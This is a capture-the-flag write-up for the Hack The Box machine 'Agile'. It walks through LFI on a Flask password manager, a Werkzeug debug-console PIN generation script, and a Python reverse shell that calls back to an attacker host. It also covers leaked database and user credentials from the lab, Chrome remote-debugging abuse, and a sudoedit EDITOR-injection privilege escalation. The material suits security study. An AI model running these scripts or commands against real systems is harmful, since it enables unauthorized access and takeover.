Agile is a machine running on a Linux OS with a medium difficulty level. There was an unintended way to solve this machine, but it has since been patched, so we will cover the intended steps.

Foothold

The first step in a pentest is usually scanning the machine. Here, I used nmap for port scanning.

$ nmap -sV -sC -oN agile.nmap 10.10.11.203
Nmap scan report for 10.10.11.203
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The website redirects to the domain superpass.htb, so we need to add this domain to /etc/hosts.

superpass

The website has login and register features. After registering and logging in, we can save passwords on the website and export them as a CSV file.

While exporting passwords, I found an endpoint /download with an LFI (Local File Inclusion) vulnerability. This can be used for further enumeration. I used ZAP to simplify making requests and getting responses.

lfi

During enumeration, I concluded that the website is running in debug mode. I then attempted to bypass the Console PIN using the LFI vulnerability. Detailed steps are available in the following reference: Cracking Flask Werkzeug Console PIN.

wekrzeug

Here is a modified script to generate a PIN.

import hashlib
import itertools
from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.md5()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.sha1()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
    probably_public_bits = [
            username,
            modname,
            appname,
            flaskapp_path ]
    private_bits = [
            node_uuid,
            machine_id ]

    h = hasher
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)

if __name__ == '__main__':
    usernames = ['www-data']
    modnames = ['flask.app', 'werkzeug.debug']
    appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
    flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
    nodeuuids = ['345052398398']  # /sys/class/net/eth0/address
    machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']

    combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

    for combo in combinations:
        username, modname, appname, flaskpath, nodeuuid, machineid = combo
        print('==========================================================================')
        crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
        print(f'{combo}')
        print('==========================================================================')

Run this script to generate several PINs, and use the generated PINs to log into the console.

pin

After accessing the console, execute a Python script for a reverse shell. I used revshells.com to generate the reverse shell script.

import os, pty, socket
s = socket.socket()
s.connect(("LHOST", LPORT))
[os.dup2(s.fileno(), f) for f in (0, 1, 2)]
pty.spawn("bash")

shell-www-data

User

Before getting the initial shell, I reviewed the website’s source code and found a snippet in app.py.

---SNIPPED---
def setup_db():
    db_session.global_init(app.config['SQL_URI'])
---SNIPPED---
def load_config():
    config_path = os.getenv("CONFIG_PATH")
    with open(config_path, 'r') as f:
        for k, v in json.load(f).items():
            app.config[k] = v
---SNIPPED---

Checking the environment with the env command revealed the config file path: /app/config_prod.json. The content of this file includes SQL_URI, which contains credentials for MySQL.

{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Access the database using the mysql command and retrieve the password for user corum from the passwords table.

database

Log in via SSH as corum with the password 5db7caa1d13cc37c9fc2, and the user.txt file is in the home directory.

shell-corum

Root

After getting a shell as corum, I enumerated the system and found other users like edwards and runner. I suspected I needed to access another user before reaching root. Eventually, I noticed a Chrome process running with the remote debugging option.

pspy64

Perform port forwarding from port 41829 to your local machine. Then, use chrome://inspect for debugging. Access test.superpass.htb/vault to find credentials for logging in as edwards.

Reference: https://developers.google.com/cast/docs/debugging/remote_debugger

chrome-debugging

Log in via SSH as edwards and check sudo -l. There is a command that can be executed as dev_admin.

shell-edward

Use this command to edit the contents of another file, specifically /app/venv/bin/activate, since it will be executed when the root user logs in and can be edited by a user in the dev_admin group.

$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug  5 18:48 /app/venv/bin/activate
$ cat /etc/bash.bashrc | tail -n2
# all users will want the env associated with this application
source /app/venv/bin/activate

To edit the file, use the following command:

EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/

reverse-shell

Add a reverse shell command to /app/venv/bin/activate, save the file, and set up a listener to receive the reverse shell from the root user.

shell-root

Rooted!